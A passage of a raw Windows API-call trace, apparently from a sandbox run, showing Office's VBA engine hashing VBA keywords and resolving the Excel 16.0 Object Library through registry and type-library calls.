szName="DefObj") returned 0x10096b [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefSng") returned 0x102088 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefStr") returned 0x102171 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefVar") returned 0x102ebd [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir$") returned 0x106567 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Do") returned 0x105cf8 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DoEvents") returned 0x109634 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Double") returned 0x100d99 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Else") returned 0x103b56 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Empty") returned 0x10f4f1 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EndIf") returned 0x1078bd [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Enum") returned 0x10465a [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Eqv") returned 0x108a4e [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Erase") returned 0x1080da [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error$") returned 0x10cf60 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Event") returned 0x10ac4b [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="F") returned 0x10105d [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fix") returned 0x108e81 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format$") returned 0x10efc7 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FreeFile") returned 0x10483a [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Friend") returned 0x10bd1c [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Get") returned 0x109342 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Global") returned 0x10f88f [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Go") returned 0x105d67 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoSub") returned 0x10b425 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Imp") returned 0x109f18 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Implements") returned 0x10a988 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0 [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0066.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input$") returned 0x107767 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB$") returned 0x100c59 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStrB") returned 0x10c2fb [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Is") returned 0x105db5 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBound") returned 0x101e0b [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LenB") returned 0x107cfb [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Let") returned 0x10adff [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Like") returned 0x1091f3 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Line") returned 0x109262 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LINEINPUT") returned 0x1008f1 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Load") returned 0x10b096 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Local") returned 0x10353f [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lock") returned 0x10b0e7 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Loop") returned 0x10b2a8 [0066.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LSet") returned 0x10c69e [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Me") returned 0x105e3b [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB$") returned 0x102a70 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module") returned 0x101ee1 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="New") returned 0x10b8b3 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Not") returned 0x10ba23 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nothing") returned 0x105f21 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Null") returned 0x105d87 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Optional") returned 0x10675a [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Output") returned 0x10f959 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ParamArray") returned 0x105941 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Preserve") returned 0x10a5fc [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Property") returned 0x10d2f6 [0066.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PSet") returned 0x10dd55 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Put") returned 0x10c5b3 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RaiseEvent") returned 0x10274a [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Random") returned 0x10f428 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Read") returned 0x101d0f [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rem") returned 0x10ce0e [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Resume") returned 0x10728b [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Return") returned 0x1038eb [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RGB") returned 0x10ce4d [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSet") returned 0x106891 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Scale") returned 0x10e596 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Seek") returned 0x10e387 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Select") returned 0x10cabd [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sgn") returned 0x10d3b2 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shared") returned 0x10479e [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Single") returned 0x10a99f [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Spc") returned 0x10d4f4 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Static") returned 0x1029c6 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 0x103384 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Stop") returned 0x1034f6 [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrComp") returned 0x10274d [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String$") returned 0x10c31c [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0066.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Tab") returned 0x10d821 [0066.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Text") returned 0x10abed [0066.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0066.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0066.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0066.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Type") returned 0x100007 [0066.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TypeOf") returned 0x101832 [0066.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71 [0066.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unload") returned 0x104e44 [0066.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unlock") returned 0x104e95 [0066.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0066.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Until") returned 0x10ecec [0066.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Variant") returned 0x108738 [0066.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Wend") returned 0x1035a7 [0066.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="While") returned 0x10a25c [0066.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Width") returned 0x104e68 [0066.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="With") returned 0x104bed [0066.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WithEvents") returned 0x10f2eb [0066.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e [0066.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Const") returned 0x10f8c9 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Else") returned 0x1050dd [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#ElseIf") returned 0x10e5b5 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#End") returned 0x10d478 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#If") returned 0x10d383 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Control") returned 0x10a946 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Description") returned 0x1009d0 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Ext_KEY") returned 0x10a88e [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_HelpID") returned 0x103e41 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Func") returned 0x10c92c [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Property") returned 0x107f4a [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPut") returned 0x106658 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPutRef") returned 0x105b25 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_MemberFlags") returned 0x108db7 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_ProcData") returned 0x107005 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarDescription") returned 0x103303 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarHelpID") returned 0x10a3b6 [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarMemberFlags") returned 0x10b6ea [0066.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarProcData") returned 0x101b0c [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_UserMemId") returned 0x107b95 [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarUserMemId") returned 0x104d5f [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=",") returned 0x101043 [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=".") returned 0x101045 [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="\"") returned 0x101039 [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_") returned 0x101076 [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngPtr") returned 0x105ab0 [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngPtr") returned 0x1036f2 [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngLng") returned 0x104463 [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngLng") returned 0x1020a5 [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongLong") returned 0x10378e [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8 [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0066.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0066.543] StringFromGUID2 (in: rguid=0xaf0fdd0*(Data1=0x20813, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x170da0, cchMax=39 | out: lpsz="{00020813-0000-0000-C000-000000000046}") returned 39 [0066.544] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x170a60 | out: phkResult=0x170a60*=0xd0e) returned 0x0 [0066.544] RegOpenKeyW (in: hKey=0xd0e, lpSubKey="{00020813-0000-0000-C000-000000000046}", phkResult=0x170a58 | out: phkResult=0x170a58*=0xa5a) returned 0x0 [0066.545] RegEnumKeyW (in: hKey=0xa5a, dwIndex=0x0, lpName=0x170a88, cchName=0xa | out: lpName="1.9") returned 0x0 [0066.545] wcscpy_s (in: _Destination=0x170a70, _SizeInWords=0xa, _Source="1.9" | out: _Destination="1.9") returned 0x0 [0066.545] RegOpenKeyW (in: hKey=0xa5a, lpSubKey="1.9", phkResult=0x170b18 | out: phkResult=0x170b18*=0xa66) returned 0x0 [0066.546] _ultoa_s (in: _Val=0x409, _DstBuf=0x170a90, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0066.546] RegOpenKeyA (in: hKey=0xa66, lpSubKey="409", phkResult=0x170a80 | out: phkResult=0x170a80*=0x0) returned 0x2 [0066.546] _ultoa_s (in: _Val=0x9, _DstBuf=0x170a90, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0066.546] RegOpenKeyA (in: hKey=0xa66, lpSubKey="9", phkResult=0x170a80 | out: phkResult=0x170a80*=0x0) returned 0x2 [0066.547] RegOpenKeyA (in: hKey=0xa66, lpSubKey="0", phkResult=0x170a80 | out: phkResult=0x170a80*=0xa6e) returned 0x0 [0066.547] RegOpenKeyW (in: hKey=0xa6e, lpSubKey="win64", phkResult=0x170a88 | out: phkResult=0x170a88*=0xcd6) returned 0x0 [0066.549] RegCloseKey (hKey=0xcd6) returned 0x0 [0066.549] RegCloseKey (hKey=0xa6e) returned 0x0 [0066.549] _ultow_s (in: _Value=0x0, _Buffer=0x170b20, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0066.549] RegOpenKeyW (in: hKey=0xa66, lpSubKey="0", phkResult=0x170af8 | out: phkResult=0x170af8*=0xa62) returned 0x0 [0066.550] RegQueryValueW (in: hKey=0xa62, lpSubKey="win64", lpData=0x170b40, lpcbData=0x170af4 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", lpcbData=0x170af4) returned 0x0 [0066.551] wcscpy_s (in: _Destination=0x170e70, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0 [0066.551] RegCloseKey (hKey=0xa62) returned 0x0 [0066.551] RegCloseKey (hKey=0xa66) returned 0x0 [0066.551] RegCloseKey (hKey=0xa5a) returned 0x0 [0066.551] RegCloseKey (hKey=0xd0e) returned 0x0 [0066.551] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", pptlib=0x170af8*=0x0 | out: pptlib=0x170af8*=0xaeffda0) returned 0x0 [0066.638] ITypeLib:RemoteGetDocumentation (in: This=0xaeffda0, index=-1, refPtrFlags=0x170b18, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xcadc7b8 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xcadc7b8) returned 0x0 [0066.639] IUnknown:QueryInterface (in: This=0xaeffda0, riid=0x7fee5ca5c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x170908 | out: ppvObject=0x170908*=0x0) returned 0x80004002 [0066.639] ITypeLib:RemoteGetLibAttr (in: This=0xaeffda0, ppTLibAttr=0x170900, pDummy=0x10 | out: ppTLibAttr=0x170900, pDummy=0x10) returned 0x0 [0066.639] ITypeLib:RemoteGetDocumentation (in: This=0xaeffda0, index=-1, refPtrFlags=0x0, pbstrName=0x1708f8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x79fa950 | out: pbstrName=0x1708f8*="Microsoft Excel 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x79fa950) returned 0x0 [0066.639] StringFromGUID2 (in: rguid=0x515fa20*(Data1=0x20813, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x170920, cchMax=39 | out: lpsz="{00020813-0000-0000-C000-000000000046}") returned 39 [0066.639] _ultow_s (in: _Value=0x1, _Buffer=0x17086a, _BufferCount=0x10, _Radix=16 | out: _Buffer="1") returned 0x0 [0066.639] _ultow_s (in: _Value=0x9, _Buffer=0x17086e, _BufferCount=0xe, _Radix=16 | out: _Buffer="9") returned 0x0 [0066.639] _ultow_s (in: _Value=0x0, _Buffer=0x170872, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0066.639] wcscpy_s (in: _Destination=0x51548b8, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0066.639] wcscpy_s (in: _Destination=0x51548be, _SizeInWords=0x8b, _Source="{00020813-0000-0000-C000-000000000046}" | out: _Destination="{00020813-0000-0000-C000-000000000046}") returned 0x0 [0066.639] wcscpy_s (in: _Destination=0x515490a, _SizeInWords=0x65, _Source="#1.9#0#" | out: _Destination="#1.9#0#") returned 0x0 [0066.639] wcscpy_s (in: _Destination=0x5154918, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0 [0066.639] wcscpy_s (in: _Destination=0x515498c, _SizeInWords=0x24, _Source="Microsoft Excel 16.0 Object Library" | out: _Destination="Microsoft Excel 16.0 Object Library") returned 0x0 [0066.639] ITypeLib:LocalReleaseTLibAttr (This=0xaeffda0) returned 0x0 [0066.639] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb3ab180, cb=0x1a0) returned 0x4fdfba0 [0066.640] wcscpy_s (in: _Destination=0x4fdfba0, _SizeInWords=0x8e, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library" | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0066.640] ITypeLib:RemoteGetDocumentation (in: This=0xaeffda0, index=-1, refPtrFlags=0x170a18, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5) returned 0x0 [0066.640] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Excel") returned 0x102b80 [0066.640] strcpy_s (in: _Dst=0x170810, _DstSize=0x6, _Src="Excel" | out: _Dst="Excel") returned 0x0 [0066.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x170810, cbMultiByte=6, lpWideCharStr=0x170660, cchWideChar=6 | out: lpWideCharStr="Excel") returned 6 [0066.640] wcsncpy_s (in: _Destination=0x170610, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0066.640] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d [0066.640] IMalloc:Alloc (This=0x7fefecb5380, cb=0x11c) returned 0xb4f1de0 [0066.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xb4f1de0, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0066.640] IMalloc:Free (This=0x7fefecb5380, pv=0xb4f1de0) [0066.640] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb10f950, cb=0x220) returned 0xafddfb0 [0066.640] wcscpy_s (in: _Destination=0xafde048, _SizeInWords=0x8e, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library" | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0066.640] wcsncpy_s (in: _Destination=0x170650, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0066.640] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d 